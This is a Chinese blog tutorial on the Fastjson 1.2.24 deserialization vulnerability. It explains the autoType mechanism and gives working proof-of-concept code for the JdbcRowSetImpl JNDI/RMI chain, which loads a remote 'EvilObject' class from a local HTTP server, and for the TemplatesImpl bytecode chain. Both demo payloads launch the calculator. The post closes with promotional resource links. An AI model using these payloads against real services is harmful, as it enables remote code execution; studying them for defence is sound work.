【网络安全】渗透测试——FastJson漏洞原理与复现

本文详细介绍了Fastjson库的序列化和反序列化功能,特别是1.2.24版本的反序列化漏洞,涉及JDBCRowSetImpl和JNDI注入。还探讨了利用链和攻击示例,以及网络安全学习资源。
摘要由CSDN通过智能技术生成

 简介

Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库, 用于将数据在 JSON 和 Java Object 之间互相转换, 提供两个主要接口 JSON.toJSONString 和 JSON.parseObject / JSON. parse 来分别实现序列化和反序列化操作.

版本

Fastjson < 1.2.68

相关类

  • JSON:门面类,提供入口

  • DefaultJSONParser:主类

  • ParserConfig:配置相关类

  • JSONexerBase:字符分析类

  • JavaBeanDeserializer:JavaBean反序列化类

常用属性

SerializerFeature.WriteClassName

JSON.toJSONString()中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法

Feature.SupportNonPublicField

如果需要还原出private属性的话,还需要在JSON.parseObject/JSON.parse中加上Feature.SupportNonPublicField参数

json与类转化

类->JSON

常用方法:JSON.toJSONString(),常用参数如下

  • 序列化特性: com.alibaba.fastjson.serializer.SerializerFeature , 可以通过设置多 个特性到 FastjsonConfig 中全局使用, 也可以在使用具体方法中指定特性.

  • 序列化过滤器: com.alibaba.fastjson.serializer.SerializeFilter , 这是一个接口, 通 过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化.

  • 序列化时的配置: com.alibaba.fastjson.serializer.SerializeConfig , 可以添加特点 类型自定义的序列化配置.

JSON->类

常用方法:parse、parseObject、parseArray,常用参数如下

  • 反序列化特性: com.alibaba.fastjson.parser.Feature.

  • 类的类型: java.lang.reflect.Type , 用来执行反序列化类的类型.

  • 处理泛型反序列化: com.alibaba.fastjson.TypeReference .

  • 编程扩展定制反序列化: com.alibaba.fastjson.parser.deserializer.ParseProcess , 例如 ExtraProcessor 用于处理多余的字段, ExtraTypeProvider 用于处理多余字段时提 供类型信息.

parse与parseObject的区别:使用 JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class) , 两者 调用链一致, 前者会在 jsonString 中解析字符串获取 @type 指定的类, 后者则会直接使用Target.class参数中的 class .

序列化与反序列化

序列化

在上面的代码中存在一个关键词 SerializerFeature.WriteClassName , 其是 toJSON String 设置的一个属性值, 设置之后在序列化的时候会多写入一个 @type , 即写上被序列化 的类名, type 可以指定反序列化的类, 并且调用其 getter / setter / is 方法.

反序列化

第一二种没有在引入了 @type 后, 成功反序列化, 可以看到 parse 成功 触发了 set 方法, parseObject 同时触发了 set 和 get 方法, 因为 fastjson 存在 autoTyp e 机制, 当用户指定 @type 时, 存在调用恶意 setter / getter 的情况, 这就是 fastjson反 序列化漏洞.

fastjson 反序列化漏洞基本原理

调用链分析

先跟进parse方法

这里会创建一个 DefaultJSONParser 对象,在这个过程中会有一个判断操作, 来判断解析的字符串是 { 还是 [ , 并根据判断的结果设置 tok en 值, 创建完成 DefaultJSONParser 对象后进入 DefaultJSONParser#parse 方法.

再步入DefaultJSONParser#parse

跟进 parseObject 方法, 这里会通过 scanSymbol 获取到 @type 指定类, 然后通过 TypeUtil s.loadClass 方法加载 Class .

跟进 TypeUtils.loadClass 方法, 这里首先会从 mappings 里面寻找类, mappings 中存放着 一些 Java 内置类, 由于前面一些条件不满足, 所以最后用 ClassLoader 加载类, 在这里也就 是加载 Exploit 类.

返回 clazz 值后回到上一级, 创建 ObjectDeserializer 对象, 并调用 getDeserializer方法.

跟进 ParserConfig#getDeserializer 方法, 继续调用 getDeserializer 方法, 这里使用了黑 名单限制可以反序列化的类, 但是黑名单里面只有 java.lang.Thread .

接着回到前面的 deserialze 方法, 往下调试到达 ASM 机制生成的临时代码, 最后调用 set 和 get 里面的方法.

下面直接引用结论,Fastjson会对满足下列要求的setter/getter方法进行调用:

满足条件的setter:

非静态函数

返回类型为void或当前类

参数个数为1个

满足条件的getter:

非静态方法

无参数

返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

Fastjson 1.2.24

这个版本的两条利用链

JdbcRowSetImpl

JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl , 这条漏洞利用链的核心点是 jav ax.naming.InitialContext#lookup 参数可控导致的 JNDI 注入

poc

package com.poc;

import com.alibaba.fastjson.JSON;

public class fastjsonpoc2 {

public static void main(String[] args) throws Exception {

String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";

JSON.parse(PoC);

}

}

rmi

package com.poc;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

public class RMI_Server {

public static void main(String args[]) throws Exception {

Registry registry = LocateRegistry.createRegistry(1099);

Reference refObj = new Reference("vita_rain", "EvilObject", "http://127.0.0.1:8000/");

System.out.println(refObj);

ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);

registry.bind("refObj", refObjWrapper);

}

}

evil

package com.Evil;

import java.io.IOException;

public class EvilObject {

static {

try{

Runtime.getRuntime().exec("clac");

}catch (IOException e){

e.printStackTrace();

}

}

}

或者用marshalsec起rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#EvilOb" 1099

LDAP的方法和只是把协议和服务改为LDAP即可

Templateslmpl

位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。

TemplatesImpl中存在一个名为_outputPropertiesget的私有变量,其getter方法中存在利用点,这个getter方法恰好满足了调用条件,在JSON字符串被解析时可以调用其在调用FastJson.parseObject()序列化为Java对象时会被调用。因此产生了漏洞。

利用链

getOutputProperties() ->

newTransformer() ->

getTransletInstance() ->

defineTransletClasses() / EvilClass.newInstance()

其中getOutputProperties()为_outputPropertiesget成员变量的getter方法。

getTransletInstance()中先调用defineTransletClasses,该方法的逻辑:

首先要求bytecodes不为空(bytecodes变量是TemplatesImpl类的成员变量,在构造poc时属于可控变量),然后就会调用自定义的Clssloader.defineClass去将_bytecodes中的值由字节码转化为Class对象赋值给_Class[i]。如果这个类的父类为 ABSTRACT_TRANSLET,_transletIndex变量值则会是此时_bytecodes数组中的下标值

由上可以得知:_bytecodes 是我们构造的恶意类 的类字节码, 这个类的父类是 AbstractTranslet , 最终这个类会被加载并使用 newInsta nce 实例化.

ps.成员变量_name和_tfactory不能为空,否者程序会提前return.

poc

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.parser.Feature;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.*;

import java.util.Base64;

public class fastjsonpoc1 {

public static String generateEvil() throws Exception {

ClassPool pool = ClassPool.getDefault();

CtClass clas = pool.makeClass("Evil");

pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

String cmd = "Runtime.getRuntime().exec(\"calc\");";

clas.makeClassInitializer().insertBefore(cmd);

clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

clas.writeFile("./");

byte[] bytes = clas.toBytecode();

String EvilCode = Base64.getEncoder().encodeToString(bytes);

System.out.println(EvilCode);

return EvilCode;

}

public static void main(String[] args) throws Exception {

final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

String evil = fastjsonpoc1.generateEvil();

String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"allowedProtocols\":\"all\"}\n";

JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);

}

}

ClassPool.getDefault()获取默认类池,然后创建Evil类,接着设置Evil要继承的类

ClassPool pool = ClassPool.getDefault();

CtClass clas = pool.makeClass("Evil");

pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

创建空的类初始化器,向构造函数里加入cmd

String cmd = "Runtime.getRuntime().exec(\"calc\");";

clas.makeClassInitializer().insertBefore(cmd);

设置加载AbstractTranslet类的搜索路径

clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName())

将编译的类创建为.class文件

test.writeFile("./");

转换为字节码并进行base64加密

byte[] bytes = clas.toBytecode();

String EvilCode = Base64.getEncoder().encodeToString(bytes);

System.out.println(EvilCode);

return EvilCode;

最后构造序列化数据,进行触发

String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'vi_ta','_tfactory':{},\"_outputProperties\":{ }," + "\"allowedProtocols\":\"all\"}\n";

JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);

.由于部分需要更改的私有变量没有 setter 方法, 需要使用 Feature.Supp ortNonPublicField 参数来触发.

网络安全要如何学习

 对于网络安全方面,我自己也做了很多的研究,整理了很多网络安全的资源,从入门到进阶的都有,包括红蓝对抗的完整学习路线图、配套的视频教程、工具包和技术文档等等:

 网络安全工程师企业级学习路线
点击**CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享**

 

(如图片过大被平台压缩,可以在链接领取XMind高清脑图)

视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。


一些我自己买的、其他平台白嫖不到的视频教程:

 

需要的话可以点击**CSDN大礼包:

《黑客&网络安全入门&进阶学习资源包》免费分享**

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值